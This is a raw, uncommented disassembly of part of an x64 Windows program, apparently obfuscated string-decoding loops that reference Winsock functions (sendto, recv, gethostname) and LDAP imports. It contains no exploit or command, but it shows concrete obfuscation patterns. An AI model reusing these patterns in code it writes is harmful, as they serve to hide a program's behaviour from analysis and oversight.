mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008b8a4
movabs rcx, 0xc85caf2b6eefe43b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x63
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x14008bf2b
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14008bc7c
movabs rcx, 0x4bc9afa409ddcc0b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
jmp 0x14008b8f3
movabs rdx, 0x51011f420bfc7fb2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x660]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008b392
movabs rcx, 0x744a3f450fdc0be4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x14008c182
movabs rdx, 0x97935f4813bb9816
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008c152
movabs rdx, 0xbadc7f4b179b2448
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008b392
movabs rcx, 0xde259f4e1b7ab07a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008b392
movabs rdx, 0x16ebf511f5a3cac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c0be
movabs rcx, 0x24b7df542339c8de
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
dec rbx
inc rbx
jmp 0x14008b392
movabs rcx, 0x4800ff5727195510
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
inc r9
dec rbx
inc rbx
jmp 0x14008b392
movabs rdx, 0x6b4a1f5a2af8e142
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008c069
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14008bb67
movabs rcx, 0x6e5b6ffe7e1039e7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x51
jmp 0x14008b952
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008bba9
movabs rcx, 0x1b005fc0aea97fe6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
movzx eax, byte [rbp + rbx + 0x660]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008b392
inc rax
cmp r8, rax
jne 0x14008bbde
movabs rdx, 0xf7b73fbdaac9f3b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c182
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008bc14
movabs rdx, 0xd46e1fbaa6ea6782
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c152
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008bc4b
movabs rcx, 0x47499fae976c36ba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
dec rbx
inc rbx
jmp 0x14008b392
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008b952
movabs rcx, 0xb75fa88fad1e56
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x14008c069
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008bcad
movabs rcx, 0x28808fa105fe3fd9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
jmp 0x14008c069
inc rax
cmp r8, rax
jne 0x14008bce3
movabs rcx, 0xe1ee4f9afe3f2775
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x33
dec rbx
inc rbx
jmp 0x14008b392
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008bd14
movabs rcx, 0xbea52f97fa5f9b43
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2b
jmp 0x14008c0be
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008bd58
movabs rcx, 0x9b5c0f94f6800f11
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x77
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008b392
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008bd89
movabs rcx, 0x3180af8beae16a7b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5d
jmp 0x14008c182
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008b8f3
movabs rcx, 0xe378f88e701de49
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
inc r10b
movzx eax, byte [rbp + rbx + 0x660]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008b392
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008be12
movabs rdx, 0x3600bf815d52ffcc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x660]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008b392
inc rax
cmp r8, rax
jne 0x14008be47
movabs rdx, 0xef6e7f7b5593e768
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c152
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008be8b
movabs rcx, 0xa8dc3f754dd4cf04
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008b392
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008bec2
movabs rcx, 0x6249ff6f4615b6a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14008b392
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008b8a4
movabs rcx, 0x3f00df6c42362a6e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 2
inc r9
dec rbx
inc rbx
jmp 0x14008b392
movabs rdx, 0xd5257f63369785d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x660]
add r10b, r11b
jmp 0x14008c0bb
movabs rdx, 0xb1dc5f6032b7f9a6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x660]
add r10b, dl
add r10b, r11b
jmp 0x14008c152
movabs rcx, 0xcfee0fc53478d231
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
movzx eax, byte [rbp + rbx + 0x660]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008b392
movabs rcx, 0x16804fcb3c37ea95
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x13
jmp 0x14008c152
movabs rcx, 0x39c96fce401776c7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x71
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008b392
movabs rcx, 0x5d128fd143f702f9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008b392
movabs rcx, 0xa3a4cfd74bb61b5d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
dec rbx
inc rbx
jmp 0x14008b392
movabs rcx, 0xea370fdd537533c1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x47
movabs rcx, 0x66ca0f64b8874bf1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x69
add cl, r11b
mov byte [rbp + rbx + 0x660], cl
inc r9
dec rbx
inc rbx
jmp 0x14008b392
movabs rdx, 0x9aa4afec66d2f0bb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1d
add r10b, dl
movabs rcx, 0x4380ef61b4a7bfbf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x39
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x660], cl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008b392
movabs rcx, 0xe136eff26e92091f
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x27
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008b392
mov r11, rdx
movabs rcx, 0x4800ff572719551
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
sub r10b, 0x37
add r10b, cl
movabs rcx, 0x2037cf5eb0c8338d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x25
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x660], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x8e933f5d2ed86d74
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x2c
add r11b, cl
mov byte [rbp + rbx + 0x660], r11b
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x660]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008b392
movabs rcx, 0x4b124ffb7a30adb5
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0xd
movzx eax, byte [rbp + rbx + 0x660]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008b392
movabs rcx, 0x55812f377e6e1503
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x15
jmp 0x14008b38e
movabs rcx, 0x78ca4f3a824da135
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x73
jmp 0x14008b375
lea rcx, [rbp + 0x166ed94]
jmp 0x14008c266
lea rcx, [rbp + 0xb7277b]
jmp 0x14008c266
lea rcx, [rbp + 0x660]
mov dword [rbp + 0xf58], 0x41200000
mov dword [rbp + 0xf60], 0x3f800000
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xf58]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf60]
mov r8, rdi
mov edx, 8
call fcn.140037d20
call fcn.140040750
mov byte [rbp + 0x688], 1
mov byte [rbp + 0x689], WSASetLastError
mov byte [rbp + 0x68a], 0x68
mov byte [rbp + 0x68b], 0xfb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x68c], xmm0
mov qword [rbp + 0x69c], rax
mov dword [rbp + 0x6a4], eax
mov word [rbp + 0x6a8], ax
mov byte [rbp + 0x6aa], al
movabs rsi, 0x3e690dc0dc6ea51f
movabs rdi, 0xe30a77b7b013a7d5
movabs r14, 0x1e9e20d215138b8b
movabs r12, 0xe96640b43e591359
movabs r13, 0xfb4ccf8d36e1c7dc
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008cec1
movzx r11d, byte [rbp + rbx + 0x688]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008ceb5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008c393
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x27
jmp 0x14008c3cc
je 0x14008ce51
inc rax
cmp r8, rax
je 0x14008cde5
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008cdb2
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008cd4e
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008cd21
nop dword [rax]
cmp r9, rbx
ja 0x14008cea9
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x14008c401
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x33
jmp 0x14008c441
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008cccd
inc rax
cmp r8, rax
je 0x14008cca3
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008cc6c
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008cc18
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008cbe3
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008c7e1
nop
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008c7bd
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14008c78e
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008c757
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008c733
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008c70f
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008c450
lea r8, [r9 + 4]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008ce85
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008c555
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14008c53a
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008c67e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14008c64f
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008c615
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14008c5f1
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008c5b5
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14008c594
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008c570
lea r8, [r9 + 5]
lea r9, [r8 + 0x40]
jmp 0x14008c450
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
jmp 0x14008c441
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
jmp 0x14008c355
movabs rcx, 0xf4f10690a89c5c58
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x14008ccec
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
dec rbx
inc rbx
jmp 0x14008c342
movabs rdx, 0x1a89889c5273360
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c342
movabs rcx, 0x8046186536c9ee4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x14008cc37
movabs rdx, 0xe602a82e1b20a68
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x688]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c342
movabs rcx, 0xd652e5be9388d0cd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x65
mov byte [rbp + rbx + 0x688], r10b
inc rbx
jmp 0x14008c342
movabs rdx, 0xdcaeaebb21ce3c51
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x37
add r10b, dl
cmp r8, 0x28
jae 0x14008cb85
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14008ca69
movabs rdx, 0xfda667c69b70e3ee
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x2a
jb 0x14008c66e
movabs rcx, 0xdddb7ad7d415ca5a
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 5
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14008ccec
movabs rcx, 0x3ae2a96ac597fb04
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x14008ce07
movabs rcx, 0xbe108de90cbab0c6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
jmp 0x14008cc37
movabs rcx, 0xc46c56e59b001c4a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c342
movabs rdx, 0xcac81fe2294587ce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008c342
movabs rcx, 0xd123e8deb78af352
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
jmp 0x14008ccec
lea rax, [r9 + 2]
cmp r8, rax
jae 0x14008c83f
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x27
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x14008cbb5
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x14008c900
movabs rcx, 0xdf0846f4865d5863
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4b
jmp 0x14008c6a1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008c886
movabs rdx, 0x3d3c41a42a271716
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x688]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c342
inc rax
cmp r8, rax
jne 0x14008c8bb
movabs rdx, 0x36e078a79be1ab92
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008cc37
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008c800
movabs rcx, 0x3084afab0d9c400e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x62
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c342
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008c931
movabs rcx, 0x5bda62763f3aa2a1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x67
jmp 0x14008ccec
inc rax
cmp r8, rax
jne 0x14008c96b
movabs rcx, 0xd8ac7df7f817ecdf
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x19
inc r9
dec rbx
inc rbx
jmp 0x14008c342
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008c9a2
movabs rcx, 0x557e9979b0f5371d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
dec rbx
inc rbx
jmp 0x14008c342
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008c9e6
movabs rcx, 0x4f22d07d22afcb99
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2f
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c342
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008ca27
movabs rcx, 0xcbf4ebfedb8d15d7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c342
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008c6a1
movabs rcx, 0x426b3e840624f491
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
movzx eax, byte [rbp + rbx + 0x688]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c342
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008caac
movabs rcx, 0x7a788348544e2e2c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x34
movzx eax, byte [rbp + rbx + 0x688]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c342
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008cae2
movabs rdx, 0x741cba4bc608c2a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008cc37
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008cb18
movabs rdx, 0xea930cd0f0a0a162
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008cd71
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008cb4f
movabs rcx, 0x67652852a97deba0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14008c342
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008c6df
movabs rdx, 0x61095f561b38801c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008ccec
movabs rdx, 0x5aad96598cf31498
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0x688]
sub r10b, al
sub r10b, 0x28
add r10b, dl
add r10b, r11b
jmp 0x14008cd71
movabs rdx, 0xd77fb1db45d05ed6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x688]
add r10b, dl
add r10b, r11b
jmp 0x14008cc37
movabs rcx, 0x8201186194db27b9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xf
movzx eax, byte [rbp + rbx + 0x688]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c342
movabs rcx, 0x885ce15e2320933d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x55
movabs rcx, 0x15e8bf9c223f03f5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x4d
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x688], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14008ce07
movabs rcx, 0x8eb8aa5ab165fec1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x47
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c342
movabs rcx, 0x951473573fab6a45
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
dec rbx
inc rbx
jmp 0x14008c342
movabs rcx, 0x9b703c53cdf0d5c9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7f
movabs rcx, 0x1c448898b0846f79
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x4f
add r11b, cl
mov byte [rbp + rbx + 0x688], r11b
inc r9
dec rbx
inc rbx
jmp 0x14008c342
movabs rcx, 0x24f9e9cea358f70f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x69
inc r9
dec rbx
inc rbx
jmp 0x14008c342
movabs rdx, 0x2b55b2cb319e6293
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 5
add r10b, dl
movabs rcx, 0x9916a41a6961b9b7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
dec r11b
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0x688], r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c342
movabs rcx, 0x31b17bc7bfe3ce17
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x5f
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c342
mov r11, rdx
movabs rcx, 0x380d44c44e29399b
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
sub r10b, 0x3d
add r10b, cl
movabs rdx, 0x5451cd5cfeada914
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x688], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x688]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c342
movabs rcx, 0xbb3b2942954bef5d
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x75
movzx eax, byte [rbp + rbx + 0x688]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c342
movabs rcx, 0xefc209b0cc9e7edd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xb
jmp 0x14008c330
lea rcx, [rbp + 0x156f75c]
jmp 0x14008cec8
lea rcx, [rbp + 0x459c7b]
jmp 0x14008cec8
lea rcx, [rbp + 0x688]
xor r8d, r8d
xor edx, edx
call fcn.1400406d0
test al, al
je 0x140099ca7
lea rcx, str.General
call fcn.140036660
lea rdx, [0x140236c30]
lea rcx, [rbp + 0x140]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xe0]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
